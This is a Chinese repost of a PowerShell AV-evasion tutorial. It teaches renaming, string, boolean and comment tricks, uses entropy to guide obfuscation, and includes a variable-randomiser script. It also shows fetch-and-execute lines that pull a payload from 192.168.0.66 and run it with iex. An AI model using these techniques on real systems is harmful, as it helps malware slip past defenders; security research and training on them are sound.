目录导航
PowerShell混淆圣经 PowerShell Obfuscation Bible
用于手动混淆 PowerShell 脚本以实现 AV(anti-virus) 规避的技术、示例和一些理论的集合,为教育目的而编译。该存储库的内容是个人研究的结果,包括在线阅读材料以及在实验室和渗透测试中进行反复试验。
免责声明:
使用此存储库中描述的技术和概念来获得对您无权测试的系统的未授权访问是非法的。你要为你的行为负责。不要作恶。
熵
科学术语entropy
,通常被定义为系统随机性或无序性的度量,在 AV 规避中很重要。这是因为,恶意软件通常包含高度随机化、加密和/或编码(混淆)的代码,使其难以分析和检测。作为多种方法之一,反病毒产品使用熵分析来识别潜在的恶意文件和有效负载.
理解这个概念很重要,因为在混淆代码时,您应该记住您选择进行的更改所产生的熵方差。破解签名很容易,但如果不注意熵值,复杂的 AV/EDR 就会看穿它。
要牢记的一个原则:熵越大,数据被混淆或加密的可能性就越大,文件/有效载荷就越有可能是恶意的。幸运的是,有办法降低它。
Claude E. Shannon
在他 1948 年的论文中引入了一个公式A Mathematical Theory of Communication
,可以用来测量一组数据中的熵。这是一个简单的 Python 实现,Shannon Entropy
您可以使用它来测量您开发的有效负载的熵:
#!/bin/python3
# Usage: python3 entropy.py <file>
import math, sys
def entropy(string):
"Calculates the Shannon entropy of a UTF-8 encoded string"
# decode the string as UTF-8
unicode_string = string.decode('utf-8')
# get probability of chars in string
prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]
# calculate the entropy
entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])
return entropy
f = open(sys.argv[1], 'rb')
content = f.read()
f.close()
print(entropy(content))
您还可以使用此在线香农熵计算器或 Microsoft 的Sigcheck.exe选项-a
。
识别检测触发器
在进入反复试验混淆测试以得出未标记的有效负载变体之前,要做的成熟而优雅的事情是识别脚本中触发恶意软件检测的部分。尤其是在像 C2 命令这样的短脚本中,您可能能够进行微不足道的更改并当场逃脱雷达的扫描。
识别此类触发器的一个很好的工具是AMSItrigger。这是一个包含恶意脚本的文件的用法示例。红色区域表示应该应用混淆的部分:

您还可以通过逐块执行脚本来手动识别触发器。
重命名对象
混淆脚本时,应优先将变量/类/函数名称替换为随机名称。这样,结合其他技术,您将能够轻松绕过检测。但是你应该记住你开发的有效载荷的熵。考虑以下标准反向 shell 脚本,大多数(如果不是全部)AV 通常会检测到该脚本:

现在考虑以下混淆版本:

在此版本中,所有变量名都已替换为 32 个字符长的随机名称。我也换(pwd).Path
成了$(gl)
. 有效载荷有Shannon entropy
一个4.96
。在撰写本文时,MS Defender 和许多其他产品未检测到它:

现在考虑这个版本:

此变体还替换了所有变量名称,但这次的名称由 x 个“f”字符组成,这导致有效负载熵显着下降。我也(pwd).Path
用here替换了。$(gl)
同样,在撰写本文时,MS Defender 未检测到它。有效载荷有Shannon entropy
一个0.76
。

⚡这两种变体都绕过了常见的反病毒软件,但第二种变体的熵较低,在被 EDR 和其他复杂的反恶意软件引擎处理时可能会有更好的机会。⚠️我并不是说这个例子中第二个有效负载变化的更好性能肯定是因为熵水平(我真的不知道,它可能是长度或两者或谁知道是什么),但它是混淆内容时要记住的重要方面,这个例子旨在强调这个概念。
您可以使用下面的脚本来随机化 PowerShell 脚本中的变量名称。⚠️剧本并不完美!如果您针对大型、复杂的 PowerShell 脚本运行它,它可能会通过替换不应该替换的内容来破坏它们的功能。请谨慎使用并注意。
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>
import re
from sys import argv
from uuid import uuid4
def get_file_content(path):
f = open(path, 'r')
content = f.read()
f.close()
return content
def main():
payload = get_file_content(argv[1])
used_var_names = []
# Identify variables definitions in script
variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
variable_definitions.sort(key=len)
variable_definitions.reverse()
# Replace variable names
for var in variable_definitions:
var = var.strip("\n \r\t=")
while True:
new_var_name = uuid4().hex
if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
continue
else:
used_var_names.append(new_var_name)
break
payload = payload.replace(var, f'${new_var_name}')
print(payload + '\n')
main()
混淆布尔值
它非常有趣,而且很容易用其他布尔等价物替换$True
和取值,这些等价物实际上是无限的。$False
特别是如果您已经在给定的有效载荷中识别出检测触发器并且包含 $True
值或者$False
值,您可能可以通过简单地将其替换为布尔值来绕过检测。下面的所有示例都评估为True
. False
您可以通过在表达式前添加感叹号(例如,![bool]0x01
)将它们反转为:
- 任何不是
0
或Null
或 的布尔类型转换empty string
都将返回True
:
[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](-12354893) # Boolean typecast of a negative number
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]
# Well, you get the point.
- 任何类的布尔类型转换
True
也将返回:
[bool][bool]
[bool][char]
[bool][int]
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
True
评估为(duh)的比较结果:
(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
True
或者您可以只从对象的属性中获取一个值:
$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
True
您可以通过编写可怕的方式来陈述或混合所有这些东西和奇怪的东西False
:
[bool](![bool]$null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]
Cmdlet 引用中断
您可以通过在字符之间添加单引号和/或双引号来混淆 cmdlet,只要它不在开头即可。超级有效!例如,表达式iex "pwd"
可以替换为:
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"
# and so on... but also:
i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""
# You get the point.
获取命令技术
我的朋友和强大的 haxor Karol Musolff ( @kmusolff ) 向我展示了一个非常酷的技巧。您可以使用Get-Command
(或)通过使用通配符gcm
检索任何命令的名称(字符串),包括 Path 环境变量 ( ) 中的所有非 PowerShell 文件。$env:Path
然后您可以将它们作为作业与&
操作员一起运行。例如,以下行:
Invoke-RestMethod -uri https://192.168.0.66/malware | iex
可以混淆为:
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
或者更好的是,这个具有较低的Shannon entropy
值:
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
替代循环
有些循环可以用其他循环类型或函数代替。例如,While ($True){ # some code }
循环可以替换为以下内容:
无限 For 循环
For (;;) { # some code }
Do-While 循环
Do { # some code } While ($true)
Do-Until 循环
Do { # some code } Until (1 -eq 2)
递归函数
function runToInfinity {
# do something;
runToInfinity;
}
追加垃圾数据
添加/删除参数
您可以尝试向 cmdlet 添加参数。例如,以下行:
iex "whoami"
可以扩展为:
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"
您当然可以尝试相反的方法。
附加随机对象
您可以使用随机变量和函数“污染”脚本。假设以下脚本是恶意的:
$b64 = $(irm -uri http://192.168.0.66/malware);
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;
您可以通过执行以下操作来破坏其签名:
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;
替代命令
您始终可以在脚本中查找命令甚至整个代码块,您可以将其替换为具有相同/相似功能的组件。在以下经典的反向 shell 脚本中,该pwd
命令用于检索当前工作目录并重建 shell 的提示值:

该(pwd).Path
部分可以替换为以下奇怪的、非正统的小脚本,尽管它甚至包含它,但pwd
它确实服务于我们破坏签名的目的,同时保持脚本的功能:
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"
当然有pwd
like的更简单的替代品gl
,get-location
这cmd.exe /c chdir
可以解决问题,尤其是与其他技术结合使用时。
弄乱字符串
弦乐的用途无穷无尽。在下面找到一些有趣的概念。示例使用字符串'malware'
:
级联
非常简单和经典:
'mal' + 'w' + 'ar' + 'e'
从子字符串中获取字符串:
在不相关的字符串之间添加所需的值,并用于substring()
根据开始 – 结束索引提取它:
'xxxmalwarexxx'.Substring(3,7)
用正则表达式匹配替换字符串:
创建一个垃圾字符串并通过正则表达式匹配将其替换为所需的值:
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'
Base64 解码所需的字符串:
编码您的字符串并在脚本中对其进行解码:
[System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("bWFsd2FyZQ=="))
从字节中获取所需字符串的字符:
"$([char]([byte]0x6d)+[char]([byte]0x61)+[char]([byte]0x6c)+[char]([byte]0x77)+[char]([byte]0x61)+[char]([byte]0x72)+[char]([byte]0x65))"
那只是为了让你开始。待续…
添加或删除评论
追加评论
通过在此处和那里附加注释来混淆脚本实际上可能会自行解决问题。
例如,反向 shell 命令可以像这样被混淆:
原创(AV容易检测到的常用r-shell命令)

修改(<# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #>
多处追加)

这不仅有效,而且还会降低有效负载的Shannon entropy
值(前提是您不使用复杂的随机注释)。
删除评论
有一些类似恶意软件的字符串会立即触发 AMSI,在混淆脚本时应该优先替换它们。看一下这个:

只需在终端中输入字符串“invoke-mimikatz”,AMSI 就会中风(脚本甚至不存在/未加载)。这些字符串也可以在注释中找到,因此最好删除它们,尤其是从您从互联网(例如Invoke-Mimikatz.ps1
从 GitHub)获取的 FOS 资源中。
*删除评论通常是个好主意。这只是一个例子。
随机化字符大小写
可能是书中最古老的把戏。随机化 cmdlet 和参数的字符大小写可能会有所帮助:
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug
重新排列脚本组件
有时简单地将变量和类移动到不同的位置可能会起作用,特别是如果您找到了检测触发器并且它包含一些可能发生在其他地方的变量定义,例如脚本的开头。
YouTube 视频演示:
项目地址
GitHub:
github.com/t3l3machus/PowerShell-Obfuscation-Bible
转载请注明出处及链接